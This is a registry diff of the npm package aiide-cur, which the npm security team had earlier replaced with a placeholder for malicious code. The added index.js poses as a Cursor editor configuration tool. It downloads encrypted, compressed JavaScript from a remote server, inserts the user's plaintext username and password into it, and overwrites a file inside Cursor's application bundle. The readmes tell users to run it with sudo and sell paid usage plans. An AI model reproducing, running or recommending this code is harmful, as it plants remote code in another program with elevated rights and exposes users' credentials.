aiide-cur 0.0.1-security → 1.9.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of aiide-cur might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,15 @@
1
+ ISC License
2
+
3
+ Copyright (c) 2024 aiide-cursor
4
+
5
+ Permission to use, copy, modify, and/or distribute this software for any
6
+ purpose with or without fee is hereby granted, provided that the above
7
+ copyright notice and this permission notice appear in all copies.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
10
+ WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
11
+ MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
12
+ ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
13
+ WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
14
+ ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
15
+ OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
package/index.js ADDED
@@ -0,0 +1,240 @@
1
+ #!/usr/bin/env node
2
+
3
+ const readline = require('readline');
4
+ const https = require('https');
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+ const crypto = require('crypto');
8
+ const { exec } = require('child_process');
9
+ const zlib = require('zlib');
10
+
11
+ const version = "1.9.1";
12
+ const apiHost = "https://api.aiide.xyz";
13
+ const webHost = "https://aiide.xyz";
14
+
15
+ // HTTP请求函数
16
+ function httpRequest(method, url, data) {
17
+ return new Promise((resolve, reject) => {
18
+ const options = new URL(url);
19
+ options.method = method;
20
+
21
+ const req = https.request(options, (res) => {
22
+ let body = '';
23
+ res.on('data', chunk => body += chunk);
24
+ res.on('end', () => resolve(body));
25
+ });
26
+
27
+ req.on('error', reject);
28
+
29
+ if (method === 'POST' && data) {
30
+ req.setHeader('Content-Type', 'application/json');
31
+ req.write(data);
32
+ }
33
+
34
+ req.end();
35
+ });
36
+ }
37
+
38
+ // AES解密函数
39
+ function AesDecrypt(data, key) {
40
+ return new Promise((resolve, reject) => {
41
+ try {
42
+ // 使用密钥的前16位作为IV
43
+ const iv = key.slice(0, 16);
44
+ const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
45
+ let decrypted = decipher.update(data);
46
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
47
+ resolve(decrypted);
48
+ } catch (err) {
49
+ reject(err);
50
+ }
51
+ });
52
+ }
53
+
54
+ // 解压缩函数
55
+ function Decompress(data) {
56
+ return new Promise((resolve, reject) => {
57
+ zlib.gunzip(data, (err, decompressed) => {
58
+ if (err) {
59
+ reject(err);
60
+ } else {
61
+ resolve(decompressed);
62
+ }
63
+ });
64
+ });
65
+ }
66
+
67
+ // 登录函数
68
+ async function login(user) {
69
+ try {
70
+ const response = await httpRequest('POST', `${webHost}/api/login`, JSON.stringify(user));
71
+ const resJson = JSON.parse(response);
72
+ if (resJson.token) {
73
+ return true;
74
+ }
75
+ console.log('登录错误:', resJson.error);
76
+ return false;
77
+ } catch (err) {
78
+ console.log('登录错误:', err);
79
+ return false;
80
+ }
81
+ }
82
+
83
+ // 获取主JS文件
84
+ async function getMainJs() {
85
+ try {
86
+ const response = await httpRequest('GET', `${apiHost}/j?t=${Date.now()}`);
87
+ const resJson = JSON.parse(response);
88
+ return Buffer.from(resJson.data);
89
+ } catch (err) {
90
+ return null;
91
+ }
92
+ }
93
+
94
+ // 处理登录成功
95
+ async function handleLoginSuccess(user) {
96
+ const mainJs = await getMainJs();
97
+ if (!mainJs) return;
98
+
99
+ const base64Js = Buffer.from(mainJs.toString(), 'base64');
100
+ const decrypt = await AesDecrypt(base64Js, Buffer.from('a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4'));
101
+ const unzipData = await Decompress(decrypt);
102
+
103
+ const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
104
+
105
+
106
+ const cursorJsstr = unzipData.toString().replace('test:123456', `${user.username}:${user.password}`);
107
+
108
+ // 备份原文件
109
+ const backupPath = path.join(dir, 'main.js.bak');
110
+ if (!fs.existsSync(backupPath)) {
111
+ fs.copyFileSync(path.join(dir, 'main.js'), backupPath);
112
+ }
113
+
114
+ fs.writeFileSync(path.join(dir, 'main.js'), cursorJsstr);
115
+ }
116
+
117
+ // 检查Cursor进程
118
+ function checkCursorProcess() {
119
+ return new Promise((resolve) => {
120
+ // 使用 pgrep 专门查找 Cursor 进程
121
+ exec('pgrep -f "Cursor.app"', (err, stdout) => {
122
+ if (err && err.code === 1) {
123
+ // pgrep 返回错误码1表示没有找到进程
124
+ resolve(false);
125
+ return;
126
+ }
127
+
128
+ if (err) {
129
+ console.log('检查进程失败:', err);
130
+ resolve(false);
131
+ return;
132
+ }
133
+
134
+ resolve(!!stdout);
135
+ });
136
+ });
137
+ }
138
+
139
+ // 还原服务函数
140
+ async function restoreService() {
141
+ const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
142
+ const backupPath = path.join(dir, 'main.js.bak');
143
+ const mainPath = path.join(dir, 'main.js');
144
+
145
+ if (!fs.existsSync(backupPath)) {
146
+ console.log('未找到备份文件,无法还原服务');
147
+ return;
148
+ }
149
+
150
+ try {
151
+ fs.copyFileSync(backupPath, mainPath);
152
+ console.log('服务已还原成功!请重新启动Cursor');
153
+ } catch (err) {
154
+ console.log('还原服务失败:', err.message);
155
+ }
156
+ }
157
+
158
+ // 显示菜单函数
159
+ function showMenu() {
160
+ console.log('\n=== Cursor 配置工具 ===');
161
+ console.log('1. 登录配置');
162
+ console.log('2. 还原服务');
163
+ console.log('==================\n');
164
+ }
165
+
166
+ // 检查是否有root权限
167
+ function checkRoot() {
168
+ return process.getuid && process.getuid() === 0;
169
+ }
170
+
171
+ // 主函数
172
+ async function main() {
173
+ // 检查是否以root权限运行
174
+ // if (!checkRoot()) {
175
+ // console.log('需要管理员权限才能运行此程序');
176
+ // console.log('请使用 sudo 重新运行此程序');
177
+ // return;
178
+ // }
179
+
180
+ const isCursorRunning = await checkCursorProcess();
181
+ if (isCursorRunning) {
182
+ console.log('启动失败!请先关闭Cursor再运行本程序');
183
+ return;
184
+ }
185
+
186
+ const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
187
+ if (!fs.existsSync(dir)) {
188
+ console.log('启动失败!请确认Cursor安装路径是否正确');
189
+ return;
190
+ }
191
+
192
+ const rl = readline.createInterface({
193
+ input: process.stdin,
194
+ output: process.stdout
195
+ });
196
+
197
+ while (true) {
198
+ showMenu();
199
+ const choice = await new Promise(resolve => {
200
+ rl.question('请选择操作 (1-2): ', resolve);
201
+ });
202
+
203
+ switch (choice.trim()) {
204
+ case '1':
205
+ // 最多尝试3次登录
206
+ for (let i = 0; i < 3; i++) {
207
+ const username = await new Promise(resolve => {
208
+ rl.question('请输入用户名: ', resolve);
209
+ });
210
+
211
+ const password = await new Promise(resolve => {
212
+ rl.question('请输入密码: ', resolve);
213
+ });
214
+
215
+ const user = { username: username.trim(), password: password.trim() };
216
+
217
+ if (await login(user)) {
218
+ console.log('登录成功');
219
+ await handleLoginSuccess(user);
220
+ console.log('Cursor网关配置成功!请重新启动Cursor');
221
+ rl.close();
222
+ return;
223
+ }
224
+ }
225
+ break;
226
+
227
+ case '2':
228
+ await restoreService();
229
+ rl.close();
230
+ return;
231
+
232
+ default:
233
+ console.log('无效的选择,请重新输入');
234
+ break;
235
+ }
236
+ }
237
+ }
238
+
239
+ // 运行主函数
240
+ main().catch(console.error);
package/package.json CHANGED
@@ -1,6 +1,28 @@
1
1
  {
2
- "name": "aiide-cur",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
2
+ "name": "aiide-cur",
3
+ "version": "1.9.1",
4
+ "description": "aiide-cursor 助手 - Cursor编辑器配置工具",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "aiide-cur": "index.js"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "author": "aiide-cursor",
13
+ "license": "ISC",
14
+ "keywords": [
15
+ "cursor",
16
+ "editor",
17
+ "configuration",
18
+ "tool"
19
+ ],
20
+ "repository": {
21
+ "type": "git",
22
+ "url": "git+https://github.com/yourusername/aiide-cur.git"
23
+ },
24
+ "bugs": {
25
+ "url": "https://github.com/yourusername/aiide-cur/issues"
26
+ },
27
+ "homepage": "https://github.com/yourusername/aiide-cur#readme"
28
+ }
package/readme.en.md ADDED
@@ -0,0 +1,101 @@
1
+ # aiide-cursor Assistant
2
+
3
+ A command-line tool for configuring Cursor editor on macOS systems. Supports quick login configuration and service restoration.
4
+
5
+ ## System Requirements
6
+
7
+ - macOS operating system
8
+ - Cursor editor for macOS
9
+ - Node.js environment (v12.0.0 or higher recommended)
10
+
11
+ ## Features
12
+
13
+ - 🔒 Secure login configuration
14
+ - 🔄 Service restoration
15
+ - 💻 Simple command-line interface
16
+ - ⚡ Quick setup process
17
+ - 🍎 Optimized for macOS
18
+
19
+ ## Installation
20
+
21
+ ```bash
22
+ npm install -g aiide-cur
23
+ ```
24
+
25
+ ## Usage
26
+
27
+ ### Prerequisites
28
+
29
+ - Cursor editor installed
30
+ - Node.js environment (v12.0.0 or higher recommended)
31
+ - macOS system
32
+
33
+ ### Basic Usage
34
+
35
+ 1. Close all running Cursor processes
36
+ 2. Open terminal and run:
37
+
38
+ ```bash
39
+ sudo aiide-cur
40
+ ```
41
+
42
+ 3. Follow the menu prompts:
43
+ - Select `1` for login configuration
44
+ - Select `2` to restore service
45
+
46
+ ## FAQ
47
+
48
+ 1. **Why is sudo permission required?**
49
+ - System directory files need to be modified
50
+
51
+ 2. **Configuration not working?**
52
+ - Make sure to completely close and restart Cursor
53
+
54
+ 3. **How to verify successful configuration?**
55
+ - Restart Cursor to verify if the configuration is effective
56
+
57
+ ## Important Notes
58
+
59
+ - ⚠️ Ensure Cursor editor is completely closed before use
60
+ - ⚠️ Administrator privileges required
61
+ - ⚠️ Restart Cursor editor after configuration
62
+ - ⚠️ Keep your login credentials secure
63
+
64
+ ## Pricing & Services
65
+
66
+ ### Limited Time Offers
67
+ - 💰 1000 Exclusive Uses: ¥18/month
68
+ - 💰 5000 Exclusive Uses: ¥40/month
69
+ - 💫 Visit [aiide.xyz/docs](https://aiide.xyz/docs) for more package details
70
+
71
+ ### Why Choose Us
72
+ - ✨ Stable and reliable service quality
73
+ - 🔒 Secure account management
74
+ - 💬 24/7 customer support
75
+ - ⚡ Regular updates and maintenance
76
+
77
+ ### Agency Cooperation
78
+ - 🤝 Agents Wanted: High commission rates for quality channel partners
79
+ - 📊 Comprehensive agency system
80
+ - 💎 Professional technical support
81
+ - 📈 Growing market potential
82
+
83
+ ### Contact Information
84
+ - 🌐 Website: [aiide.xyz](https://aiide.xyz)
85
+ - 📧 Support Email: support@aiide.xyz
86
+ - 💬 Add our WeChat for more details
87
+
88
+ ## License
89
+
90
+ ISC License - See [LICENSE](./LICENSE) file for details
91
+
92
+ ## Contributing
93
+
94
+ Issues and Pull Requests are welcome to help improve this project.
95
+
96
+ ## Changelog
97
+
98
+ ### v1.9.1
99
+ - Initial release
100
+ - Basic login configuration support
101
+ - Service restoration feature
package/readme.md ADDED
@@ -0,0 +1,100 @@
1
+ # aiide-cursor 助手
2
+
3
+ 一个用于配置 macOS 版本 Cursor 编辑器的命令行工具。支持快速配置登录信息和服务还原功能。
4
+
5
+ ## 系统要求
6
+
7
+ - macOS 操作系统
8
+ - Cursor 编辑器 macOS 版本
9
+ - Node.js 环境 (推荐 v12.0.0 或更高版本)
10
+
11
+ ## 功能特点
12
+
13
+ - 🔒 安全的登录配置
14
+ - 🔄 服务还原功能
15
+ - 💻 简单的命令行界面
16
+ - ⚡ 快速配置过程
17
+ - 🍎 专为 macOS 优化
18
+
19
+ ## 安装
20
+
21
+ ```bash
22
+ npm install -g aiide-cur
23
+ ```
24
+
25
+ ## 使用方法
26
+
27
+ ### 前置条件
28
+
29
+ - 已安装 Cursor 编辑器
30
+ - Node.js 环境 (推荐 v12.0.0 或更高版本)
31
+ - macOS 系统
32
+
33
+ ### 基本使用
34
+
35
+ 1. 关闭所有运行中的 Cursor 进程
36
+ 2. 打开终端,运行以下命令:
37
+
38
+ ```bash
39
+ sudo aiide-cur
40
+ ```
41
+
42
+ 3. 根据菜单提示进行操作:
43
+ - 选择 `1` 进行登录配置
44
+ - 选择 `2` 还原服务
45
+
46
+ ## 常见问题
47
+
48
+ 1. **为什么需要 sudo 权限?**
49
+ - 因为需要修改系统目录下的文件
50
+
51
+ 2. **配置后无法使用?**
52
+ - 请确保完全关闭 Cursor 后重新启动
53
+
54
+ 3. **如何检查是否配置成功?**
55
+ - 重启 Cursor 后即可验证配置是否生效
56
+
57
+ ## 注意事项
58
+
59
+ - ⚠️ 使用前请确保 Cursor 编辑器已完全关闭
60
+ - ⚠️ 需要管理员权限运行
61
+ - ⚠️ 配置完成后需要重启 Cursor 编辑器
62
+ - ⚠️ 请妥善保管你的登录信息
63
+
64
+ ## 价格与服务
65
+
66
+ ### 限时优惠套餐
67
+ - 💰 独享1000次:18元/月
68
+ - 💰 独享5000次:40元/月
69
+ - 💫 更多套餐详情请访问 [aiide.xyz/docs](https://aiide.xyz/docs)
70
+
71
+ ### 为什么选择我们
72
+ - ✨ 稳定可靠的服务质量
73
+ - 🔒 安全的账号管理
74
+ - 💬 7x24小时客服支持
75
+ - ⚡ 定期更新维护
76
+
77
+ ### 代理合作
78
+ - 🤝 诚招代理:优质渠道代理享受高额返佣
79
+ - 📊 完善的代理体系
80
+ - 💎 专业的技术支持
81
+ - 📈 持续增长的市场
82
+
83
+ ### 联系方式
84
+ - 🌐 官网:[aiide.xyz](https://aiide.xyz)
85
+ - 📧 客服邮箱:support@aiide.xyz
86
+ - 💬 添加客服微信咨询更多详情
87
+
88
+ ## 许可证
89
+
90
+ ISC License - 查看 [LICENSE](./LICENSE) 文件了解更多详情
91
+
92
+
93
+
94
+ ## 更新日志
95
+
96
+ ### v1.9.1
97
+ - 初始版本发布
98
+ - 支持基础登录配置
99
+ - 支持服务还原功能
100
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=aiide-cur for more information.